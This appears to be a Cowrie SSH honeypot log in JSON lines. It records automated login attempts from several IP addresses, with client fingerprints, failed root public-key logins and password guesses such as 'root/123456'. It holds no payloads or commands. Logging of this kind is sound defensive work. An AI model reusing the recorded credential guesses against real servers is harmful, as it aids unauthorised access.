{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:59.847834Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:10:59.920553Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:40:60:d7:fe:12:66:a8:92:f2:9d:63:7c:ba:2a:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAWlZDJae+Ji6gbZPVHxaVNavh5mu6vv8ZjAJxOFIFO0086lEaj21ngcbURb2o2Q7hjvGm4BWxabGOoaD3RFdo75JBHHsDaMOQRISvA0kt+XCKni2vv+ESPES4tnhq5d0mqoqPzSPLHmH/UP+Of5SEr2nVVNOgd7Y0a5tJsYuC9GjHmyXQyyA+jp6OPKOHdicMLNjJuqiwlTqjcCZmOp/TImyRU9Wk9WkVbO3kpfky11Wab9+L1Jf9+JTURbGd3UwHOjMYiAAeGfiCeHMd31kBZBpld+xBeSpn2FhgxmTuqfONudeg86tkKryqN2XUvsQEHC9MuPWi2ke7Eix5Kc1LfHbaJRW2O0X9p/M6J0iNm32B+68Tv+KTLPHWAZXUPdz4CSPZy/lS4rb4RgKAPsRexmL4pcoI3YzfAoXorWvlXc5bNXAGuXe72OSprjE5OZ9k1uN3HZJY4lM1t8AiZTtLkgK08jwaoIixwf/IaxcopNOdQae85hJFWXHgGoGJMipo7zSta2UhSyGfs02UyqyKA2lpNTzOWOgHKSFdRCNlOQPj8BjoDeqiIYhP7+Lcyyd3aKCpnF9oJ/eXwXVLrWeTezV2Nk0RzZrTXQu4F7dD24ap6gq62ctg3BfQt8aq1Te9l8TKXokdhjmADSnh1WdJZsQ5yKfMGoBINZs+0ApZDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:40:60:d7:fe:12:66:a8:92:f2:9d:63:7c:ba:2a:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.250296Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:40:60:d7:fe:12:66:a8:92:f2:9d:63:7c:ba:2a:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAWlZDJae+Ji6gbZPVHxaVNavh5mu6vv8ZjAJxOFIFO0086lEaj21ngcbURb2o2Q7hjvGm4BWxabGOoaD3RFdo75JBHHsDaMOQRISvA0kt+XCKni2vv+ESPES4tnhq5d0mqoqPzSPLHmH/UP+Of5SEr2nVVNOgd7Y0a5tJsYuC9GjHmyXQyyA+jp6OPKOHdicMLNjJuqiwlTqjcCZmOp/TImyRU9Wk9WkVbO3kpfky11Wab9+L1Jf9+JTURbGd3UwHOjMYiAAeGfiCeHMd31kBZBpld+xBeSpn2FhgxmTuqfONudeg86tkKryqN2XUvsQEHC9MuPWi2ke7Eix5Kc1LfHbaJRW2O0X9p/M6J0iNm32B+68Tv+KTLPHWAZXUPdz4CSPZy/lS4rb4RgKAPsRexmL4pcoI3YzfAoXorWvlXc5bNXAGuXe72OSprjE5OZ9k1uN3HZJY4lM1t8AiZTtLkgK08jwaoIixwf/IaxcopNOdQae85hJFWXHgGoGJMipo7zSta2UhSyGfs02UyqyKA2lpNTzOWOgHKSFdRCNlOQPj8BjoDeqiIYhP7+Lcyyd3aKCpnF9oJ/eXwXVLrWeTezV2Nk0RzZrTXQu4F7dD24ap6gq62ctg3BfQt8aq1Te9l8TKXokdhjmADSnh1WdJZsQ5yKfMGoBINZs+0ApZDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.254105Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:57:54:27:09:7f:be:b0:54:e9:93:1a:42:be:40:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkesvf7+ovlUUtumHBE4RnLEBdXuKzyyuRQMi7agNmaoy7c8EDdA5+KRpuD3ANuCqdKD5TlJ6NNM5egDuuRAeRdrIbg4p21mYUR5M78THzemDaFqkVNkTkrK58ac4P2TifyeJtI3CXI8KP23rxdhLvM3ohlnfhWvaGfobagdq7fxj5u0KBuffhp0eOaKSc3lbC3SHiqeXiUCLDVwnbPcvu3+YoxSaq/kTkizwRKL6kuOppX2i/iKPy0Ye7H7IFKAXn+HW2C6K2TMBUpwcjrCVhc1aJj3V7fjM+fkTriwKmtaeMeGlwFj9t0oM7lR1y6LNTY73IA9ATZNYGCT31ht0f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:57:54:27:09:7f:be:b0:54:e9:93:1a:42:be:40:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.325796Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:57:54:27:09:7f:be:b0:54:e9:93:1a:42:be:40:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkesvf7+ovlUUtumHBE4RnLEBdXuKzyyuRQMi7agNmaoy7c8EDdA5+KRpuD3ANuCqdKD5TlJ6NNM5egDuuRAeRdrIbg4p21mYUR5M78THzemDaFqkVNkTkrK58ac4P2TifyeJtI3CXI8KP23rxdhLvM3ohlnfhWvaGfobagdq7fxj5u0KBuffhp0eOaKSc3lbC3SHiqeXiUCLDVwnbPcvu3+YoxSaq/kTkizwRKL6kuOppX2i/iKPy0Ye7H7IFKAXn+HW2C6K2TMBUpwcjrCVhc1aJj3V7fjM+fkTriwKmtaeMeGlwFj9t0oM7lR1y6LNTY73IA9ATZNYGCT31ht0f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.328861Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:77:75:ed:74:25:26:e3:a1:db:68:6a:b0:cd:37:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6p/28aIDI+3ho3L5krxr8G6azo+KscyGq5Win8FEu7RlzP9x6xZrNNtiCZKIgpdLQSau+Dx0TwnG1KOrLwOq/HpKiWGk3NZScsevDa8x8W2g1fCSA4viZp79jOpXw1q+3kS0MxvhibEfHLLVHV9EI+spcRFHEs3uEVlcKQQ5Hv5EYq1uV0PqgQR/TOg2A+SqHQqCD+NNY18l92NWg7O+xgwC2sWt1l7vGXL9m4FvKDrsr5xETYgdcOBprn6K0QbjuyumKMGA09+1t4dmEP44vADt7J57Z0hyy2HGZuTwCiSOcRB8OOscF0vaYLq5SQpmjYpHAcl66nIjqtRRqMdK/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:77:75:ed:74:25:26:e3:a1:db:68:6a:b0:cd:37:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.411752Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:77:75:ed:74:25:26:e3:a1:db:68:6a:b0:cd:37:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6p/28aIDI+3ho3L5krxr8G6azo+KscyGq5Win8FEu7RlzP9x6xZrNNtiCZKIgpdLQSau+Dx0TwnG1KOrLwOq/HpKiWGk3NZScsevDa8x8W2g1fCSA4viZp79jOpXw1q+3kS0MxvhibEfHLLVHV9EI+spcRFHEs3uEVlcKQQ5Hv5EYq1uV0PqgQR/TOg2A+SqHQqCD+NNY18l92NWg7O+xgwC2sWt1l7vGXL9m4FvKDrsr5xETYgdcOBprn6K0QbjuyumKMGA09+1t4dmEP44vADt7J57Z0hyy2HGZuTwCiSOcRB8OOscF0vaYLq5SQpmjYpHAcl66nIjqtRRqMdK/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.414876Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:73:47:8d:31:a9:22:b8:9d:bf:e7:95:e3:42:92:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC/JQxfCWcFjnhaWojLHi6cDQf2g+oAEJ6K+baQoskZh3OAiJ7tkC+8nhkoXbRwPaJjBNezsriXplSZi1LRaEGLPJl0041uc5lImeQFPUnP6G/yrBvMPJCmXYK89jvIdCtAufUAC0N3DNl4TP9zQRnuptdoCrtQLWmQiw0apabhgdLphaDEtXjuS30OW28pOCgLQl/YHFrF64HdihxcseUBMLzZX1pT8DjER3wr5LYuJ1PWDIZqUlRNUVod6caxUJot3InGsks47u3uFIbfoCSoBBsGXH1DOj3q8uzO0FYdIHikWPvrz5jSkTlS9lKAzXwYitHk3jbfRkyqakrz5hsyznEQBJ9RfaJDKxutt7R/wUiYi/b+Nb7Snjwt4DNgtklkJWxAqul5j3jM9AyqmYiFAvUQ/wrDJ1fLDYakHgFKX+SZoYK/1jOTXBTAG1khKRl0V/2L+MmhtHVjRj43jh2SJ8JK0Xcz46MvS5x9x7zZuBDzR/5i0JLtazppcodLmag95A34g8HtmzQo23x5xsS6iYlawBzsIGBhNSyobheUDJgFHoHiUdmuyeefdny/J1vDV2rZoYuH5/YlWle++oL4bILwtsiQlnhYMdfyfa1PRD0+NrEyC0BzaE4MGe9dSHHXQz/OzjSYarOK5QYlj8LjPvdBRW4mhXQaSMy6rwYCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:73:47:8d:31:a9:22:b8:9d:bf:e7:95:e3:42:92:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.486475Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:73:47:8d:31:a9:22:b8:9d:bf:e7:95:e3:42:92:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC/JQxfCWcFjnhaWojLHi6cDQf2g+oAEJ6K+baQoskZh3OAiJ7tkC+8nhkoXbRwPaJjBNezsriXplSZi1LRaEGLPJl0041uc5lImeQFPUnP6G/yrBvMPJCmXYK89jvIdCtAufUAC0N3DNl4TP9zQRnuptdoCrtQLWmQiw0apabhgdLphaDEtXjuS30OW28pOCgLQl/YHFrF64HdihxcseUBMLzZX1pT8DjER3wr5LYuJ1PWDIZqUlRNUVod6caxUJot3InGsks47u3uFIbfoCSoBBsGXH1DOj3q8uzO0FYdIHikWPvrz5jSkTlS9lKAzXwYitHk3jbfRkyqakrz5hsyznEQBJ9RfaJDKxutt7R/wUiYi/b+Nb7Snjwt4DNgtklkJWxAqul5j3jM9AyqmYiFAvUQ/wrDJ1fLDYakHgFKX+SZoYK/1jOTXBTAG1khKRl0V/2L+MmhtHVjRj43jh2SJ8JK0Xcz46MvS5x9x7zZuBDzR/5i0JLtazppcodLmag95A34g8HtmzQo23x5xsS6iYlawBzsIGBhNSyobheUDJgFHoHiUdmuyeefdny/J1vDV2rZoYuH5/YlWle++oL4bILwtsiQlnhYMdfyfa1PRD0+NrEyC0BzaE4MGe9dSHHXQz/OzjSYarOK5QYlj8LjPvdBRW4mhXQaSMy6rwYCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.489704Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:ba:b9:86:4d:65:15:7e:7a:4b:db:b5:85:59:0b:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArbHnuAINzHhzWAewQ0v1HhWGOYKceAwSaVAOs8oGMvpMjw7wHmcL7tQDq2onjgMhReTfReDf6FNs98WmCPqY57A2zKWK1eyYGUX20xpFBVN10I0F0NulApt9dud4IM2uDIDfL12QSVtR7BAlYZ1lLQMcNB4K2NwxUDDdj2UH6vcw6p+izSvU6FMsejbhzKQEiX3dFjil/617AzsGjpBdOdUNzyWFWsgY/JmtvvG/R4mSp8kSzEgwmkDxdLtq3ONV1eHBAllrairjbh8QwI5+/nl1P/SPeKOIixG3dMAQFNU0jdqSpDs0lAa0KMCZ4wAzAFOMuAEDL2YqVhzD4JgIcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:ba:b9:86:4d:65:15:7e:7a:4b:db:b5:85:59:0b:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.561608Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:ba:b9:86:4d:65:15:7e:7a:4b:db:b5:85:59:0b:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArbHnuAINzHhzWAewQ0v1HhWGOYKceAwSaVAOs8oGMvpMjw7wHmcL7tQDq2onjgMhReTfReDf6FNs98WmCPqY57A2zKWK1eyYGUX20xpFBVN10I0F0NulApt9dud4IM2uDIDfL12QSVtR7BAlYZ1lLQMcNB4K2NwxUDDdj2UH6vcw6p+izSvU6FMsejbhzKQEiX3dFjil/617AzsGjpBdOdUNzyWFWsgY/JmtvvG/R4mSp8kSzEgwmkDxdLtq3ONV1eHBAllrairjbh8QwI5+/nl1P/SPeKOIixG3dMAQFNU0jdqSpDs0lAa0KMCZ4wAzAFOMuAEDL2YqVhzD4JgIcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.564813Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:00.637264Z","src_ip":"209.90.232.249","session":"49b533befa3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":59494,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c9353805fae","protocol":"ssh","message":"New connection: 92.118.39.49:59494 (10.17.0.5:22) [session: 5c9353805fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:05.242296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:05.570197Z","src_ip":"92.118.39.49","session":"5c9353805fae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:05.573285Z","src_ip":"92.118.39.49","session":"5c9353805fae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:06.325821Z","src_ip":"92.118.39.49","session":"5c9353805fae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:07.498515Z","src_ip":"92.118.39.49","session":"5c9353805fae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":42916,"dst_ip":"10.17.0.5","dst_port":22,"session":"e04a8eb45dbe","protocol":"ssh","message":"New connection: 103.27.238.114:42916 (10.17.0.5:22) [session: e04a8eb45dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:10.656512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:10.666167Z","src_ip":"103.27.238.114","session":"e04a8eb45dbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:10.943727Z","src_ip":"103.27.238.114","session":"e04a8eb45dbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katie","message":"login attempt [root/katie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:11.777843Z","src_ip":"103.27.238.114","session":"e04a8eb45dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:13.057503Z","src_ip":"103.27.238.114","session":"e04a8eb45dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":55100,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e7331b66276","protocol":"ssh","message":"New connection: 43.134.49.202:55100 (10.17.0.5:22) [session: 6e7331b66276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:26.476643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:26.481025Z","src_ip":"43.134.49.202","session":"6e7331b66276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:26.726177Z","src_ip":"43.134.49.202","session":"6e7331b66276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"universal","password":"universal123","message":"login attempt [universal/universal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:27.738621Z","src_ip":"43.134.49.202","session":"6e7331b66276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:28.985825Z","src_ip":"43.134.49.202","session":"6e7331b66276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":23692,"dst_ip":"159.203.135.109","dst_port":22,"session":"6659264894b0","protocol":"ssh","message":"New connection: 107.150.105.153:23692 (159.203.135.109:22) [session: 6659264894b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:36.664630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:36.670577Z","src_ip":"107.150.105.153","session":"6659264894b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":59626,"dst_ip":"159.203.135.109","dst_port":22,"session":"58e539700ceb","protocol":"ssh","message":"New connection: 143.20.185.207:59626 (159.203.135.109:22) [session: 58e539700ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:36.696999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:11:36.700893Z","src_ip":"143.20.185.207","session":"58e539700ceb","protocol":"ssh"}
